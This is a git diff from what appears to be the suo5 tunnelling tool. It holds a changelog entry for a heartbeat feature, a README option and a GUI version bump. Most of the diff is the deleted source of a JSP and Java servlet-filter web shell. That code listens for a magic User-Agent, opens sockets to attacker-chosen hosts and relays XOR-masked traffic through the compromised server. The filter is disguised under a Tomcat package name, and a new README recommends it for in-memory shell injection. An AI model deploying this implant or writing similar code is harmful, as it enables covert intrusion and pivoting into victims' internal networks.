diff --git a/CHANGELOG.md b/CHANGELOG.md index 48e0a6e..1babcf5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,12 @@ # 更新记录 +## [0.5.0] - 2023-03-14 + +### 新增 + +- 每 5s 发送一个心跳包避免远端因 `ReadTimeout` 而关闭连接 [#12](https://github.com/zema1/suo5/issues/12) +- 改进地址检查方式,负载均衡的转发判断会更快一点 + ## [0.4.0] - 2023-03-05 ### 新增 diff --git a/README.md b/README.md index 9cc0636..07706fb 100644 --- a/README.md +++ b/README.md @@ -77,6 +77,7 @@ GLOBAL OPTIONS: --buf-size value set the request max body size (default: 327680) --proxy value use upstream socks5 proxy --debug, -d debug the traffic, print more details (default: false) + --no-heartbeat, --nh disable heartbeat to the remote server which will send data every 5s (default: false) --help, -h show help --version, -v print the version ``` diff --git a/assets/0.3.0/Suo5Filter.java b/assets/0.3.0/Suo5Filter.java deleted file mode 100644 index 7ea20af..0000000 --- a/assets/0.3.0/Suo5Filter.java +++ /dev/null @@ -1,385 +0,0 @@ -package org.apache.catalina.filters; - - -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.net.InetSocketAddress; -import java.net.Socket; -import java.nio.ByteBuffer; -import java.util.Arrays; -import java.util.Date; -import java.util.HashMap; - -public class Suo5Filter implements Filter, Runnable { - - InputStream gInStream; - OutputStream gOutStream; - - public void init(FilterConfig filterConfig) throws ServletException { - } - - public void destroy() { - } - - private void setStream(InputStream in, OutputStream out) { - gInStream = in; - gOutStream = out; - } - - public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain chain) throws IOException, ServletException { - HttpServletRequest request = (HttpServletRequest) sReq; - HttpServletResponse response = (HttpServletResponse) sResp; - String agent = request.getHeader("User-Agent"); - String contentType = request.getHeader("Content-Type"); - - if (agent == null || !agent.equals("Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3")) { - if (chain != null) { - chain.doFilter(sReq, sResp); - } - return; - } - if (contentType == null) { - return; - } - - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s", e); -// e.printStackTrace(); - } - } - - public void readInputStreamWithTimeout(InputStream is, byte[] b, int timeoutMillis) throws IOException, InterruptedException { - int bufferOffset = 0; - long maxTimeMillis = new Date().getTime() + timeoutMillis; - while (new Date().getTime() < maxTimeMillis && bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - if (is.available() < readLength) { - readLength = is.available(); - } - // can alternatively use bufferedReader, guarded by isReady(): - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - Thread.sleep(200); - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readInputStreamWithTimeout(in, data, 2000); - OutputStream out = response.getOutputStream(); - out.write(data); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - for (String key : m.keySet()) { - byte[] value = m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = data[data.length / 2]; - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - DataInputStream reader = new DataInputStream(in); - byte[] header = new byte[4 + 1]; // size and datatype - reader.readFully(header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - reader.readFully(bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = Arrays.copyOfRange(bs, i, i+kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = Arrays.copyOfRange(bs, i, i+4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = Arrays.copyOfRange(bs, i, i+vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - final BufferedInputStream reqReader = new BufferedInputStream(reqInputStream); - HashMap dataMap; - dataMap = unmarshal(reqReader); - - byte[] action = dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(8 * 1024); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String(dataMap.get("h")); - int port = Integer.parseInt(new String(dataMap.get("p"))); - Socket sc; - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Filter p = new Suo5Filter(); - p.setStream(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqReader, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = Arrays.copyOfRange(readBuf, 0, 0+n); - byte[] finalData = marshal(newData(dataTmp)); - outputStream.write(finalData); - outputStream.flush(); - } - } - - private void readReq(BufferedInputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] action = dataMap.get("ac"); - if (action.length != 1) { - return; - } - if (action[0] == 0x02) { - socketOutStream.close(); - return; - } else if (action[0] == 0x01) { - byte[] data = dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - ServletContext ctx = request.getSession().getServletContext(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - String clientId = new String(dataMap.get("id")); - byte[] action = dataMap.get("ac"); - if (action.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionResp byte = 0x03 - */ - resp.setBufferSize(8 * 1024); - OutputStream respOutStream = resp.getOutputStream(); - if (action[0] == 0x02) { - OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId); - if (scOutStream != null) { - scOutStream.close(); - } - return; - } else if (action[0] == 0x01) { - OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId); - if (scOutStream == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - byte[] data = dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } - - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String(dataMap.get("h")); - int port = Integer.parseInt(new String(dataMap.get("p"))); - Socket sc; - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - OutputStream scOutStream = sc.getOutputStream(); - ctx.setAttribute(clientId, scOutStream); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - - InputStream scInStream = sc.getInputStream(); - - try { - readSocket(scInStream, respOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s", e); -// e.printStackTrace(); - } finally { - sc.close(); - respOutStream.close(); - ctx.removeAttribute(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream); - } catch (Exception e) { -// System.out.printf("read socket error, %s", e); -// e.printStackTrace(); - } - } -} \ No newline at end of file diff --git a/assets/0.3.0/suo5.jsp b/assets/0.3.0/suo5.jsp deleted file mode 100644 index 92ec2e3..0000000 --- a/assets/0.3.0/suo5.jsp +++ /dev/null @@ -1,376 +0,0 @@ -<%@ page trimDirectiveWhitespaces="true" %> -<%@ page import="java.util.HashMap" %> -<%@ page import="java.nio.ByteBuffer" %> -<%@ page import="java.io.*" %> -<%@ page import="java.net.Socket" %> -<%@ page import="java.net.InetSocketAddress" %> -<%@ page import="java.util.Date" %> -<%@ page import="java.util.Arrays" %> -<%! - public class Suo5 implements Runnable { - - InputStream gInStream; - OutputStream gOutStream; - - private void setStream(InputStream in, OutputStream out) { - gInStream = in; - gOutStream = out; - } - - public void process(ServletRequest sReq, ServletResponse sResp) { - HttpServletRequest request = (HttpServletRequest) sReq; - HttpServletResponse response = (HttpServletResponse) sResp; - String agent = request.getHeader("User-Agent"); - String contentType = request.getHeader("Content-Type"); - - if (agent == null || !agent.equals("Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3")) { - return; - } - if (contentType == null) { - return; - } - - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s", e); -// e.printStackTrace(); - } - } - - public void readInputStreamWithTimeout(InputStream is, byte[] b, int timeoutMillis) throws IOException, InterruptedException { - int bufferOffset = 0; - long maxTimeMillis = new Date().getTime() + timeoutMillis; - while (new Date().getTime() < maxTimeMillis && bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - if (is.available() < readLength) { - readLength = is.available(); - } - // can alternatively use bufferedReader, guarded by isReady(): - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - Thread.sleep(200); - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readInputStreamWithTimeout(in, data, 2000); - OutputStream out = response.getOutputStream(); - out.write(data); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - for (String key : m.keySet()) { - byte[] value = m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = data[data.length / 2]; - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - DataInputStream reader = new DataInputStream(in); - byte[] header = new byte[4 + 1]; // size and datatype - reader.readFully(header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - reader.readFully(bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = Arrays.copyOfRange(bs, i, i+kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = Arrays.copyOfRange(bs, i, i+4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = Arrays.copyOfRange(bs, i, i+vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - final BufferedInputStream reqReader = new BufferedInputStream(reqInputStream); - HashMap dataMap; - dataMap = unmarshal(reqReader); - - byte[] action = dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(8 * 1024); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String(dataMap.get("h")); - int port = Integer.parseInt(new String(dataMap.get("p"))); - Socket sc; - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5 p = new Suo5(); - p.setStream(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqReader, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = Arrays.copyOfRange(readBuf, 0, 0+n); - byte[] finalData = marshal(newData(dataTmp)); - outputStream.write(finalData); - outputStream.flush(); - } - } - - private void readReq(BufferedInputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] action = dataMap.get("ac"); - if (action.length != 1) { - return; - } - if (action[0] == 0x02) { - socketOutStream.close(); - return; - } else if (action[0] == 0x01) { - byte[] data = dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - ServletContext ctx = request.getSession().getServletContext(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - String clientId = new String(dataMap.get("id")); - byte[] action = dataMap.get("ac"); - if (action.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionResp byte = 0x03 - */ - resp.setBufferSize(8 * 1024); - OutputStream respOutStream = resp.getOutputStream(); - if (action[0] == 0x02) { - OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId); - if (scOutStream != null) { - scOutStream.close(); - } - return; - } else if (action[0] == 0x01) { - OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId); - if (scOutStream == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - byte[] data = dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } - - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String(dataMap.get("h")); - int port = Integer.parseInt(new String(dataMap.get("p"))); - Socket sc; - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - OutputStream scOutStream = sc.getOutputStream(); - ctx.setAttribute(clientId, scOutStream); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - - InputStream scInStream = sc.getInputStream(); - - try { - readSocket(scInStream, respOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s", e); -// e.printStackTrace(); - } finally { - sc.close(); - respOutStream.close(); - ctx.removeAttribute(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream); - } catch (Exception e) { -// System.out.printf("read socket error, %s", e); -// e.printStackTrace(); - } - } - } -%> -<% - Suo5 o = new Suo5(); - o.process(request, response); -%> diff --git a/assets/README.md b/assets/README.md new file mode 100644 index 0000000..b7fb72a --- /dev/null +++ b/assets/README.md @@ -0,0 +1,6 @@ +# Suo5 Remote Server + +- `suo5.jsp` jsp 的实现 +- `Suo5Filter.java` 一个简易的 Filter 实现,可以用于内存马注入 (推荐) + +如果想要其他版本的数据,可以利用 git 的 release tag 进入。 \ No newline at end of file diff --git a/gui/frontend/src/Home.vue b/gui/frontend/src/Home.vue index 8a1a820..009976c 100644 --- a/gui/frontend/src/Home.vue +++ b/gui/frontend/src/Home.vue @@ -76,7 +76,7 @@ 连接数: {{ status.connection_count }} CPU: {{ status.cpu_percent }} 内存: {{ status.memory_usage }} - 版本: 0.4.0 + 版本: 0.5.0